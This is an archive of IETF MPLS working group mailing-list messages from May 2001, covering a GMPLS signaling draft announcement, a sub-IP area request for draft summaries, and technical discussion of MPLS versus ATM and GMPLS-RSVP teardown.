	for mpls-outgoing; Thu, 3 May 2001 11:31:11 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknkg13628
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 11:30:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknkf16748
	for <mpls@uu.net>; Thu, 3 May 2001 11:29:42 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknkf14169
	for <mpls@uu.net>; Thu, 3 May 2001 11:29:42 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id HAA09420 for mpls@uu.net; Thu, 3 May 2001 07:29:42 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknkf13266
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 11:25:25 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknkf08908
	for <mpls@uu.net>; Thu, 3 May 2001 11:25:22 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQknkf09384
	for <mpls@uu.net>; Thu, 3 May 2001 11:25:21 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA18806;
	Thu, 3 May 2001 07:25:20 -0400 (EDT)
Message-Id: <200105031125.HAA18806@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-generalized-signaling-04.txt
Date: Thu, 03 May 2001 07:25:19 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Generalized MPLS - Signaling Functional Description
	Author(s)	: P. Ashwood-Smith et al.
	Filename	: draft-ietf-mpls-generalized-signaling-04.txt
	Pages		: 26
	Date		: 02-May-01
	
This document describes extensions to MPLS signaling required to
support Generalized MPLS.  Generalized MPLS extends the MPLS control
plane to encompass time-division (e.g. SONET ADMs), wavelength
(optical lambdas) and spatial switching (e.g. incoming port or fiber
to outgoing port or fiber).  This document presents a functional
description of the extensions.  Protocol specific formats and
mechanisms are specified in [GMPLS-RSVP] and [GMPLS-LDP].  Technology
specific details are expected to be specified in independent
technology specific documents, e.g., [GMPLS-SONET].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-04.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-generalized-signaling-04.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-generalized-signaling-04.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010502120446.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-generalized-signaling-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-generalized-signaling-04.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010502120446.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Thu May  3 09:25:05 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA22630
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 09:25:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknkn23836;
	Thu, 3 May 2001 13:23:09 GMT
Received: by mail-control.mail.uu.net 
	id QQknkn00823
	for mpls-outgoing; Thu, 3 May 2001 13:22:36 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknkn00808
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 13:22:17 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknkn01549
	for <mpls@UU.NET>; Thu, 3 May 2001 13:22:08 GMT
Received: from hoemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hoemail2.lucent.com [192.11.226.163])
	id QQknkn00148
	for <mpls@UU.NET>; Thu, 3 May 2001 13:22:07 GMT
Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f43DM7X09872
	for <mpls@UU.NET>; Thu, 3 May 2001 09:22:07 -0400 (EDT)
Received: from nl0006exch001h.wins.lucent.com (h135-85-76-62.lucent.com [135.85.76.62])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f43DM6X09855
	for <mpls@UU.NET>; Thu, 3 May 2001 09:22:06 -0400 (EDT)
Received: by nl0006exch001h.nl.lucent.com with Internet Mail Service (5.5.2650.21)
	id <J6NM06S7>; Thu, 3 May 2001 15:22:00 +0200
Message-ID: <2413FED0DFE6D111B3F90008C7FA61FB0C34863C@nl0006exch002u.nl.lucent.com>
From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
To: mpls-wg <mpls@UU.NET>
Subject: ACTION: Summaries for sub-IP related Internet Drafts
Date: Thu, 3 May 2001 15:21:56 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

ACTION: Summaries for sub-IP related Internet Drafts

-----------------------------------------
All, but specifically I-D Authors/Editors

Over the last several months, we have seen A LOT of I-Ds submitted/posted
which appear to be targeted for one or more WGs in the new sub-IP area.
(ccamp, gsmp, ipo, iporpr, tewg, mpls and ppvpn) These are mostly
individual I-Ds, that is those that do not start with 
        draft-ietf-<someWgName>
but this mesage referrs to ALL I-Ds related to the Sub IP WGs.
In fact we believe we have some 200-300 of such documents.

It is sort of impossible to try and read them all and decide in which WG
(if any) they might fit. So in order to help us (WG chairs and ADs) to 
work our way through all these documents, we want the AUTHORS/EDITORS of 
such existing documents to do the following:

- Before May 18th, pls send ONE SINGLE email per I-D to the email alias
  
       idsummary@subip.ietf.org

  That email should be formatted and contain content as
  explained below.

  Pls DO NOT send these emails to any WG mailing list. 

  The idsummary mailing list will be archived publically at 

      ftp://subip.ietf.org/pub/lists/idsummary*

  Since these are non-WG documents (yet) any comments/discussion
  can/should take place at: 

      subip-area@subip.ietf.org

  But initially the idea is to just collect the data.

- When doing a revision of these documents or writing a new I-D,
  please pls add a section at the beginning of your document that contains
  the same information we are asking for here so that readers of your
  document can also see it.

All these emails will be archived and the WG chairs, ADs, Technical Advisors
and Directorate will review them and report back (target is end of May)
what we want to do with each of the documents.

If we do not receive a note about an I-D we will assume that the I-D
authors/editors do not intend to publish it as a RFC.

Further, if you assume this pictorial overview of the work we are doing
in the sub-IP area, then pls indicate where in the picture your document
fits.

   --- pictorial overview of work in the sup-IP area --------------

  The Working Groups at the top are those that will use the
  Common Control and Measurement Protocols that we're 
  defining in the CCAMP WG.


  Applications         +-------+  +-------+        (new) Hour glass
  that use CCAMP: \    | TE-WG |  | PPVPN |  ...           /
                   \   +-------+  +-------+               /
                    \     +----------------------+       /
                     \    |         CCAMP        |      /
                      \   |-----------+----------|     /  
                      /   |   C       |    M   --|------ IGP LSA ext
                     /    | control   | measure  |     \  
                    /     +----------------------+      \
  Technologies to  / +----+ +----+ +----+ +----+ +----+  \
  measure/control:/  |MPLS| |OPT | |RPR | |ATM | | FR |...\
                     +----+ +----+ +----+ +----+ +----+

  The technologies at the bottom allow us to create paths and so those
  are the ones we want to measure and control via the Common Control
  and Measurement Protocols coming out of CCAMP. One of those 
  technologies (MPLS) is defined by IETF, others are (have been) defined 
  in other standards organisations. However, we want to focus mainly on 
  the use of such technologies for IP.

  So for example the IPO and IPORPR WGs are assumed to be active at 
  the bottom because we want to focus on the IP use of such technologies.


Bert and Scott
--------------------
The ONE SINGLE email per I-D should be as follows:

-  Subject: <targetWgName> <nameOfID>
   
   the targetWgName is the WG that you as authors/editors
   think that this document should live in. If you have no specific
   WG as the target WG, then use subIP as the name.

   the nameOfID is the filename of the draft, e.g. draft-xxx-yyy-zzz-00.txt

- In the body of the email must have the following sections with these 
  section titles:

NAME OF I-D:

  Write it down as a URL so we can click on it to see it.  e.g. 

  http://www.ietf.org/internet-drafts/draft-xxx-yyy-zzz-00.txt


SUMMARY

  This should contain a summary of the content of the document
  Potentially it can be the abstract. But pls make sure that it helps
  the reader undestand what the document is all about.
  PLEASE TRY TO KEEP IT DOWN TO TWO PARAGRAPHS

RELATED DOCUMENTS

  A list of URLs for other I-Ds (or non-IETF documents) that you think
relate,
  compete, complement or overlap with your document.  "none" if none

WHERE DOES IT FIT IN THE PICTURE OF THE SUB-IP WORK

  Applications         +-------+  +-------+        (new) Hour glass
  that use CCAMP: \    | TE-WG |  | PPVPN |  ...           /
                   \   +-------+  +-------+               /
                    \     +----------------------+       /
                     \    |         CCAMP        |      /
                      \   |-----------+----------|     /  
                      /   |   C       |    M   --|------ IGP LSA ext
                     /    | control   | measure  |     \  
                    /     +----------------------+      \
  Technologies to  / +----+ +----+ +----+ +----+ +----+  \
  measure/control:/  |MPLS| |OPT | |RPR | |ATM | | FR |...\
                     +----+ +----+ +----+ +----+ +----+


WHY IS IT TARGETED AT THIS WG

  You must explain how the ID addresses a workitem in the current WG
  charter as listed on the WG charter page on the IETF web site. If
  it addresses only part of a work item, then please explain if there
  are other documents that could be merged with this one to become one
  document to address the complete work item.

JUSTIFICATION

  Why do you think it is justified for the WG to consider this document.

  In the case that you cannot explain how this document addresses
  a specific WG charter work item, then explain and justify why the
  WG should even consider this work and what the description of 
  a possible new work item would be for the WG. Suggest possible
  milestones for that work item.

  Please realize, that new work items need wide support within a
  WG, but also they need agreement from the WG chairs and ADs,
  and even when they get that, the whole IESG and IAB must review and
  approve new-work items before they get added to a WG charter.

  Please understand that we already have a lot of work in our WG
  charters, and that we would rather see that finished (or at least
  be well undeway) before we undertake any new work items.



From owner-mpls@UU.NET  Thu May  3 10:36:14 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA25787
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 10:36:13 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknks19088;
	Thu, 3 May 2001 14:34:08 GMT
Received: by mail-control.mail.uu.net 
	id QQknks27083
	for mpls-outgoing; Thu, 3 May 2001 14:33:34 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknks27047
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 14:33:16 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknks12538
	for <mpls@uu.net>; Thu, 3 May 2001 14:31:47 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknks10766
	for <mpls@uu.net>; Thu, 3 May 2001 14:31:47 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA13221
	for <mpls@uu.net>; Thu, 3 May 2001 10:31:44 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA09374
	for <mpls@uu.net>; Thu, 3 May 2001 10:31:46 -0400 (EDT)
Message-ID: <3AF16BCD.F38AE119@marconi.com>
Date: Thu, 03 May 2001 10:31:41 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: A fundamental question
References: <008b01c0d29f$c8501b60$77131796@sktelecom.com> <3AF014AF.BFEE065B@marconi.com> <010301c0d38f$7b94b060$77131796@sktelecom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

"Rae M. Chang" wrote:
>> 
>> MPLS avoids the N^2 problem in two ways:
>> 1: The LSPs follow the routing protocols' shortest-paths.  Meaning
>>    you don't necessarily need an LSP to get from everywhere to
>>    everywhere.  Only along the shortest routed paths.
> 
> That's the point I can't understand yet. For example, if you want a
> partial meshed network consisting of a set of LSPs, then why
> couldn't you make the same network with only neccessary ATM VCs
> (not using MPLS)?
> Aren't they essentially equivalent TE schemes? Why do they make the
> N^2 number of VCs?

ATM is not an IP protocol.

There is no way that an ATM-specific setup can know what IP routes
exist.  So if any auto-VC setup is going to happen, it must either be
traffic-driven (which will not perform well in a network core) or a
full-mesh must be pre-established.

Now, if you want to go and invent a new ATM that uses IP routing
protocols in order to fix this, go right ahead.  But that's not what
MPLS is trying to do.

-- David


From owner-mpls@UU.NET  Thu May  3 11:38:08 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA27579
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 11:38:07 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknkw28795;
	Thu, 3 May 2001 15:36:13 GMT
Received: by mail-control.mail.uu.net 
	id QQknkw25086
	for mpls-outgoing; Thu, 3 May 2001 15:35:36 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknkw25054
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 15:35:19 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknkw03254
	for <mpls@UU.NET>; Thu, 3 May 2001 15:35:11 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknkw00388
	for <mpls@UU.NET>; Thu, 3 May 2001 15:35:10 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA21027
	for <mpls@UU.NET>; Thu, 3 May 2001 11:35:07 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA00011
	for <mpls@UU.NET>; Thu, 3 May 2001 11:35:09 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <JJTL173V>; Thu, 3 May 2001 11:34:59 -0400
Message-ID: <39469E08BD83D411A3D900204840EC553095A9@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "Charlap, David" <David.Charlap@Marconi.com>, mpls@UU.NET
Subject: RE: A fundamental question
Date: Thu, 3 May 2001 11:35:08 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi David

Please look at my inline comments:

-> There is no way that an ATM-specific setup can know what IP routes
-> exist.  So if any auto-VC setup is going to happen, it must either be
-> traffic-driven (which will not perform well in a network core) or a
-> full-mesh must be pre-established.

There were protocols, like I-PNNI and PAR (PNNI Augmented Routing)
developed long before MPLS started which does the same job you stated.
And there was IETF Working group ION (Internetworking Over NBMA) also.
 
-> Now, if you want to go and invent a new ATM that uses IP routing
-> protocols in order to fix this, go right ahead.  But that's not what
-> MPLS is trying to do.

I accept, For that matter, MPLS has learned all good experiences
from ATM MPOA, Ipsilon's IP Switching, Cisco's Tag Switching, IBM's ARIS,
Toshiba's CSR and so many trailed proprietary switching technologies.

[snip]
-> ATM's routing and signaling protocols are closely tied to ATM's
-> addressing architecture.  These protocols are not based on 
-> IP, and they
-> do not scale up to networks the size of the internet.  

No David, These (ATM Signaling/Routing) protocols are very much designed
to scale for networks as large as 'I'nternet. Esp designed keeping in mind
with the growth of the Internet & addressing. But they didn't get
(we didn't give) chance to let them prove.

-> ATM is not an IP protocol.

I accept! To conclude MPLS is making "connection-less IP to connection 
oriented (at the core) with the power of so many L2 technologies integrated
and a single IP L3 network overlaid on top of so many L2s efficiently."

And all those other L3 protocols/networks designed for all specific
L2's are no more!

-Venkata Naidu


From owner-mpls@UU.NET  Thu May  3 11:47:57 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA27837
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 11:47:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknkx25200;
	Thu, 3 May 2001 15:45:34 GMT
Received: by mail-control.mail.uu.net 
	id QQknkw26374
	for mpls-outgoing; Thu, 3 May 2001 15:44:57 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknkw26365
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 15:44:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknkw24563
	for <mpls@uu.net>; Thu, 3 May 2001 15:44:23 GMT
Received: from cmailg3.svr.pol.co.uk by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmailg3.svr.pol.co.uk [195.92.195.173])
	id QQknkw23933
	for <mpls@uu.net>; Thu, 3 May 2001 15:44:23 GMT
Received: from [195.92.168.141] (helo=tmailb1.svr.pol.co.uk)
	by cmailg3.svr.pol.co.uk with esmtp (Exim 3.13 #0)
	id 14vLH9-0008Dm-00; Thu, 03 May 2001 16:44:19 +0100
Received: from modem-97.hoary-redpoll.dialup.pol.co.uk ([62.137.196.97] helo=BLIULAPTOP)
	by tmailb1.svr.pol.co.uk with esmtp (Exim 3.13 #0)
	id 14vLH8-0004hI-00; Thu, 03 May 2001 16:44:19 +0100
Message-ID: <04e801c0d3e7$d0200780$101a883e@movaz.com>
From: "Adrian Farrel" <afarrel@movaz.com>
To: <srikn@future.futsoft.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
References: <01C0D3C3.08AFDB40.srikn@future.futsoft.com>
Subject: Re: Doubt in mpls-generalized-signaling
Date: Thu, 3 May 2001 11:41:35 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi, Srikanth,

> I have few doubts in mpls-generalized-signaling draft.
>
> 2.) How does an ingress decide about the nature of LSP to
be requested
>  (whether unidirectional or Bidirectional)? Is there any
mib object for
> this or is it by default Bidirectional if supportable.

Yes!

Watch out for draft-nadeau-mpls-gmpls-te-mib-00.txt which
will be published one day very soon.

Adrian
--
Adrian Farrel
Movaz Networks Inc.
afarrel@movaz.com





From owner-mpls@UU.NET  Thu May  3 12:47:11 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA29886
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 12:47:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknla15825;
	Thu, 3 May 2001 16:44:53 GMT
Received: by mail-control.mail.uu.net 
	id QQknla25811
	for mpls-outgoing; Thu, 3 May 2001 16:44:20 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknla25805
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 16:44:15 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknla11901
	for <mpls@uu.net>; Thu, 3 May 2001 16:43:53 GMT
Received: from rsys000a.roke.co.uk by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [193.118.201.102])
	id QQknla15921
	for <mpls@uu.net>; Thu, 3 May 2001 16:43:52 GMT
Received: from rsys002a.roke.co.uk - 193.118.192.251 by rsys000a.roke.co.uk  with Microsoft SMTPSVC(5.5.1774.114.11);
	 Thu, 3 May 2001 17:47:38 +0100
Received: by rsys002a.roke.co.uk with Internet Mail Service (5.5.2650.21)
	id <H60ST8CX>; Thu, 3 May 2001 17:43:51 +0100
Message-ID: <76C92FBBFB58D411AE760090271ED4185832C4@rsys002a.roke.co.uk>
From: "Reeve, Andrew" <andrew.reeve@roke.co.uk>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Efficient teardown on error/preemption
Date: Thu, 3 May 2001 17:43:49 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Please could somebody clarify the operation of GMPLS-RSVP wrt the following.

draft-ietf-mpls-generalized-rsvp-te-02.txt supports "Removing State with a PathErr message" (section 4.4). This is aimed at speeding up the removal of state. As I understand it, it works as follows. When an error occurs (including preemption I assume), the node detecting the error will send a PathErr to the initiator and a PathTear to the responder. The PathErr will have a flag ("Path State Remove") set which indicates that state has been removed, and all nodes receiving the PathErr will co-operate by removing state and keeping the flag set.

Is it the intention that, for TE tunnels and lightpaths, the PathTear and PathError will remove ALL state, or do we also have to follow up with a ResvTear?

Also, is behavior consistent for both preemption and network errors?

For reasons of signaling efficiency and responsiveness to errors, we would like it to be possible to destroy all state for a LSP, whether it be a TE tunnel or bi-directional using 1 of the following:

a) PathTear from the initiator.
b) PathError and PathTear from an intermediate node (directed at the initiator and responder respectively)
c) ResvTear from the responder.

Is that how it works?

Your help appreciated,
Andy
> __________________________
> Andy Reeve,
> Senior Consultant,
> Internet Technology and Networks.
__________________________

> Roke Manor Research Ltd,
> A SIEMENS Company.
> 
> Roke Manor, 
> Romsey. SO51 OZN.
> 
> Tel: +44 1794 833580
> Fax: +44 1794 833616
> 
> mailto:andrew.reeve@roke.co.uk
> 
> http://www.roke.co.uk
> http://www.roke-manor.com
> __________________________
The information contained in this e-mail is confidential to Roke Manor and must not be passed to any third party without permission.  This communication is for information only and shall not create or change any contractual relationship.



From owner-mpls@UU.NET  Thu May  3 13:45:41 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA01599
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 13:45:41 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknle05163;
	Thu, 3 May 2001 17:43:45 GMT
Received: by mail-control.mail.uu.net 
	id QQknle20868
	for mpls-outgoing; Thu, 3 May 2001 17:43:09 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknle20849
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 17:43:01 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknle03624
	for <mpls@uu.net>; Thu, 3 May 2001 17:41:40 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknle01393
	for <mpls@uu.net>; Thu, 3 May 2001 17:41:35 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id NAA05991 for mpls@uu.net; Thu, 3 May 2001 13:41:34 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknle20607
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 17:41:01 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknle01206
	for <mpls@UU.NET>; Thu, 3 May 2001 17:40:55 GMT
Received: from rtp-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97])
	id QQknle29864
	for <mpls@UU.NET>; Thu, 3 May 2001 17:40:54 GMT
Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f43Hdbm14861;
	Thu, 3 May 2001 13:39:37 -0400 (EDT)
Received: from TNADEAU-PC02.cisco.com (ch2-dhcp134-206.cisco.com [161.44.134.206])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABE15405;
	Thu, 3 May 2001 13:40:43 -0400 (EDT)
Message-Id: <4.3.2.7.2.20010503133942.0193c1d8@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 03 May 2001 13:43:09 -0400
To: "Adrian Farrel" <afarrel@movaz.com>, <srikn@future.futsoft.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
Subject: Re: Doubt in mpls-generalized-signaling
Cc: "'mpls@uu.net'" <mpls@UU.NET>
In-Reply-To: <04e801c0d3e7$d0200780$101a883e@movaz.com>
References: <01C0D3C3.08AFDB40.srikn@future.futsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 11:41 AM 5/3/2001 -0400, Adrian Farrel wrote:
>Hi, Srikanth,
>
> > I have few doubts in mpls-generalized-signaling draft.
> >
> > 2.) How does an ingress decide about the nature of LSP to
>be requested
> >  (whether unidirectional or Bidirectional)? Is there any
>mib object for
> > this or is it by default Bidirectional if supportable.
>
>Yes!
>
>Watch out for draft-nadeau-mpls-gmpls-te-mib-00.txt which
>will be published one day very soon.

         This was sent to the internet-drafts editor
on Monday. Not sure where it is. In the meantime,
the MIB is available at:

ftp://anonymous@ftp-eng.cisco.com/tnadeau/draft-nadeau-gmpls-te-mib-00.txt

         --Tom





>Adrian
>--
>Adrian Farrel
>Movaz Networks Inc.
>afarrel@movaz.com



From owner-mpls@UU.NET  Thu May  3 13:53:58 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
